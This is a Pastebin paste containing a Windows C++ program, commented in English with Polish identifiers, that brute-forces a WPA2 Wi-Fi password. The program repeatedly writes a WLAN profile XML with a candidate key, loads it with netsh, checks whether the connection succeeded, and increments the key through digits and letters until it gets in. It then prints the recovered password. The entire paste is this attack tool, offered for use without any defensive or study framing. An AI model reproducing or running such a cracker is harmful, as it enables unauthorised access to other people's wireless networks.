Rentib

Dla Hugo

Jan 15th, 2020
81
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.04 KB | None | 0 0
  1. #include<iostream>
  2. #include<stdlib.h>
  3. #include<fstream>
  4. #include<string>
  5. #include<conio.h>
  6. using namespace std;
  7.  
  8. char p = ' ', k = 'z';
  9. string zmien(string haslo, int num){
  10. if(haslo[num] == k){
  11. if(num == 0){
  12. for(int i = 0;i < haslo.size();i++)
  13. haslo[i] = p;
  14. haslo += p;
  15. return haslo;
  16. }
  17. haslo[num] = p;
  18. return zmien(haslo, num - 1);
  19. }
  20. if(haslo[num] == '9')
  21. haslo[num] = 'A';
  22. else if(haslo[num] == 'Z')
  23. haslo[num] = 'a';
  24. else
  25. haslo[num]++;
  26. return haslo;
  27. }
  28.  
  29. int main(){
  30. ofstream xmlFile;
  31. ifstream xmlFile1;
  32.  
  33. string name = "", pass = "00000000";
  34. string ntyp = "Wi-Fi", netType, fileTest = ">test.txt", check, ntype, fil, xfileName, fileName = "myWlan.xml";
  35.  
  36. char c = '"', cho1 = '1', c1;
  37. netType = c+ntyp+c+fileTest;
  38. xfileName = c+fileName+c;
  39. cout << "\n Enter the desired network name-------: ";
  40. cin >> name;
  41. do{
  42. xmlFile.open(fileName.c_str());
  43. //Writing a xml file .....................
  44. xmlFile << "<?xml version =" << c << "1.0" << c << "?>\n";
  45. xmlFile << "<WLANProfile xmlns=" << c << "http://www.microsoft.com/networking/WLAN/profile/v1" << c << ">\n";
  46. xmlFile << "<name>";
  47. xmlFile << name;
  48. xmlFile << "</name>\n<SSIDConfig>\n<SSID>\n<hex>";
  49. for(int i = 0;i<name.length();i++)
  50. xmlFile << hex << (int)name.at(i);
  51. xmlFile << "</hex>\n<name>";
  52. xmlFile << name;
  53. xmlFile << "</name>\n</SSID>\n</SSIDConfig>\n<connectionType>ESS</connectionType>\n<connectionMode>auto</connectionMode>\n<MSM>\n<security>\n<authEncryption>";
  54. xmlFile << "\n<authentication>WPA2PSK</authentication>\n<encryption>AES</encryption>\n<useOneX>false</useOneX>\n</authEncryption>\n<sharedKey>";
  55. xmlFile << "\n<keyType>passPhrase</keyType>\n<protected>false</protected>\n<keyMaterial>";
  56. xmlFile << pass;
  57. xmlFile << "</keyMaterial>\n</sharedKey>\n</security>\n</MSM>\n";
  58. xmlFile << "<MacRandomization xmlns=" << c << "http://www.microsoft.com/networking/WLAN/profile/v3" << c << ">\n";
  59. xmlFile << "<enableRandomization>false</enableRandomization>\n</MacRandomization>\n</WLANProfile>";
  60. xmlFile.close();
  61. //addd the xml file to system profile.............
  62. system(("netsh wlan add profile filename="+xfileName).c_str());
  63. //to let system realize what changes have been made...............
  64. system("timeout /t 2");
  65. //to check if connected...........
  66. system(("netsh interface show interface name="+netType).c_str());
  67. xmlFile1.open("test.txt");
  68. while(!xmlFile1.eof()){
  69. xmlFile1 >> c1;
  70. if(c1==':'){
  71. for(int i = 0;i < 9;i++){
  72. xmlFile1 >> c1;
  73. check += c1;
  74. }
  75. }
  76. if(check != "Connected")
  77. check = "";
  78. }
  79. xmlFile1.close();
  80. if(check != "Connected")
  81. pass = zmien(pass, pass.size() - 1);
  82. }
  83. while(check != "Connected");
  84. cout << '\n' << "...............................................You are connected!!.................................";
  85.  
  86. cout << '\n' << '\n' << pass << '\n';
  87. }
Advertisement
Add Comment
Please, Sign In to add comment